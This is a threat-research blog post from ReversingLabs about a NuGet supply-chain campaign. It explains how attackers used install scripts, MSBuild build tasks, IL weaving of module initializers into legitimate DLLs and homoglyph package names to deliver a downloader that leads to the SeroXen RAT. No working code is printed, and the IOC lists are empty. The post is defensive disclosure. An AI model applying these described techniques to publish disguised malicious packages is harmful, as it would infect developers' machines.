Malicious NuGet campaign uses homoglyphs and IL weaving to fool devs

ReversingLabs has been actively tracking a malicious campaign targeting the NuGet package manager since the beginning of August, 2023. This report presents the findings of that research, which shows how malicious actors are continuously improving their techniques and responding to disruption of their campaigns.

Since the beginning of the campaign, threat actors behind this campaign refined their attacks, moving from exploiting NuGet’s MSBuild integrations to a strategy that uses simple, obfuscated downloaders that are inserted into legitimate PE binary files using Intermediary Language (IL) weaving, a .NET programming technique for modifying an application’s code after compilation.

Discussion

In October 2023, the RL research team reported on a malicious campaign targeting the NuGet repository, a popular open source package manager for .NET code. The campaign has been active since the early August 2023 and included more than 700 malicious packages.

The threat actors behind this campaign have since evolved their methods to achieve execution of their malicious code. Attacks started with simple initialization and post-installation Powershell scripts in the affected packages which contained malicious downloader functionality. The hundreds of malicious NuGet packages the RL research team detected weren’t hard to spot — they contained links within their install scripts (unusual) and, upon closer inspection, contained no non-malicious functionality. Following the installation and execution of the downloader, second stage malware was retrieved from an attacker-controlled C2 server.

In the later stages of this campaign, the threat actors moved from initialization scripts to a lesser-known technique that exploits NuGet’s MSBuild integrations feature. Malicious functionality was added to build tasks inside a *.targets file ensuring that malicious code gets executed every time the project is built. Additionally, a lot of effort was put into making malicious packages look as trustworthy as possible, by choosing suitable impersonation packages, making clever typo-squats, using icons from impersonated packages and by pumping up the package download counts.

Patching .NET binaries with malicious content

As already concluded, the threat actor behind this campaign is determined to push malware into NuGet repository and has been doing it regularly for more than the last six months. It can be concluded that this threat actor is quite skilled also: they are constantly improving their arsenal with edgy execution techniques that can be used in .NET projects.

The latest malicious packages published by this threat actor are using a technique called “IL weaving” to add malicious functionality to legitimate Portable Executable (PE) .NET binaries. In these attacks, the attacker takes a compiled .NET binary from a legitimate NuGet package and patches it in order to inject a module initializer into it.

Dotnet documentation says that module initializers are “executed at, or sometime before, first access to any static field or first invocation of any method defined in the module.” Simply said, they are the first thing that is executed when a .NET module is loaded. They can be added to the source code and created at the compile time, but a much more interesting way to add them is by patching already compiled .NET binaries using Intermediate Language (IL) weaving. Here, the original binary is first decompiled, then the desired functionality is added (“weaved”) to it. Finally it is compiled back to an executable file. Libraries like Mono.Cecil can be used to handle MSIL (Microsoft Intermediate Language) or CIL compiling and decompiling. There are open source tools like Fody that encapsulate MSIL construction and simplify IL weaving.

Since the end of October, NuGet packages containing three types of patched, malicious .NET DLL libraries have been observed. All of them implement the same downloader functionality, and download second stage malware seen in the previous phases of this campaign: the obfuscated SeroXen RAT.

Using binary patching, threat actors tried to make their malware downloader packages harder to detect. Analyzing compiled binaries is a bit harder task than analyzing PowerShell scripts, which contain commands in plaintext format that are easier to scan. What also made detection harder is the fact that all of the patched binaries were DLL files, which aren’t executed on their own or by default. Rather, DLLs are libraries that are called and executed under specific circumstances, which complicates dynamic analysis. But there are tools like ReversingLabs Spectra Assure that are capable of extracting behavior indicators during static analysis, making it possible to detect the presence of suspicious functionality inside compiled binary files.

These aren’t the Gunas you’re looking for: homoglyphs in action

The threat actors copied Guna.UI2.WinForms, a popular open source package that is used for creating desktop UIs. Using IL weaving, the threat actor modified the code to inject a module initializer and named the modified package Gսոa.UI3.Wіnfօrms, an obvious effort to “typo squat” on the name of the legitimate package. They then published it to the NuGet repository.

What’s interesting here is that Guna is actually a reserved prefix name on the NuGet repository. That means that only the authors that own and manage the Guna prefix can publish packages starting with that specific name — a security feature of sorts. So while it looks like a high-level NuGet account compromise, it's actually not.

As it turns out, this “Guna” isn’t what it seems. That’s because the threat actor exploited a NuGet feature — its support for homoglyphs — to create a package that convincingly mimics those that use the reserved “Guna” prefix.

Homoglyphs are unique characters that look identical, while having totally different features (sounds) and digital identifiers. So, for example, the latin lower case “u” and the Armenian character “ս” (“seh”) are visually identical. However, each has a unique sound associated with it and a unique unicode value — \u0075 for the latin “u” and \u057D for the Armenian “seh.” While humans may not be able to tell them apart when visually scanning text, computers see and treat them as completely different characters.

Looking more closely at the name of the imposter NuGet package Guna.UI3.WinForms package, RL found four of these homoglyph characters mimicking their latinate doppelgangers: ս(\u057D), ո(\u0578), і(\u0456) and օ(\u0585).

Using RL Spectra Assure platform to analyze the two packages revealed important differences between the legitimate Guna.UI2.WinForms and the imposter Guna.UI3.WinForms packages. Specifically, it revealed that two .NET binaries were tampered with to include a module initializer.

When RL researchers compared the two .NET binaries using third-party tools that can decompile and diff the code to show us the differences between them, our research team noticed that the two packages have the same contents, with the biggest difference being the module initializer inside the modified, malicious package.

The strings inside the module initializer (Figure 4) are obfuscated by a simple method. Adjacent to every character the threat actor tries to “hide”, they’ve placed a dummy string (in this case {#}{$}{&}{(}{_}{#}{%}{^}{^}{#}{!} that is removed at runtime by searching for the dummy string and removing it. It’s very easy to get the deobfuscated code and see what this DLL does.

Figure 5 shows the inner workings of the first stage malware, a simple downloader that fetches a batch script from a C2 server and executes it, triggering the second stage of the infection process that ends with the installation of the SeroXen RAT.

Detection: YARA won’t do it

Since the code for the module initializer is located inside the pseudo-class <Module>, it can’t be detected by YARA out of the box, because it’s skipping parsing that class.

RL Spectra Assure provide a behavioral indicator for it. Module initializers are not purely used by malware. They are used for many legitimate reasons such as setting up code before the main execution starts (in other words, initializing a module) and by obfuscators — tools used to protect the intellectual property of developers.

However, RL can combine this indicator with others in order to create a good threat hunting heuristics for identifying suspicious packages.

Evolve your AppSec to stay up to speed with threats

Threat actors are constantly evolving the methods and tactics they use to compromise and infect their victims with malicious code that is used to extract sensitive data or provide attackers with control over IT assets. Any methods that give them an edge over defenders and allow their actions to remain undetected have a high value and are likely to be adopted by malicious actors. That’s why defenders have to evolve alongside threat actors in order to catch any possible threats on time and stay safe.

And that’s what happened in this latest campaign, which saw attackers using a variety of new — or rarely seen — techniques to escape detection and increase the changes of their malicious code being downloaded and used. Those techniques include binary patching of DLLs via IL weaving to make malicious downloader code harder to detect. They also include the attackers’ use of “homoglyphs” in typosquatting attacks. Those are glyphs or characters with an identical visual appearance to a common character (like “u” or “o”), but a different logical representation. To date, RL researchers have identified approximately 60 packages and 290 package versions that are part of this same campaign abusing module initializers. Some of the packages can be seen in the IOCs list below.

All the identified packages were reported to NuGet administrators and have since been removed from the NuGet platform.

This latest campaign highlights new ways in which malicious actors are scheming to fool developers as well as security teams into downloading and using malicious or tampered with packages from popular open source package managers like NuGet. With scores of packages and hundreds of malicious versions, the latest campaign highlights the need for development organizations to up their game and stay abreast of a fast evolving software supply chain threat landscape.

Indicators of Compromise (IOCs)

Indicators of Compromise (IoCs) refer to forensic artifacts or evidence related to a security breach or unauthorized activity on a computer network or system. IOCs play a crucial role in cybersecurity investigations and cyber incident response efforts, helping analysts and cybersecurity professionals identify and detect potential security incidents.

The following IOCs were collected as part of ReversingLabs investigation of this software supply chain campaign.

NuGet packages:

URLs:

Petar Kirhmajer contributed to this research post.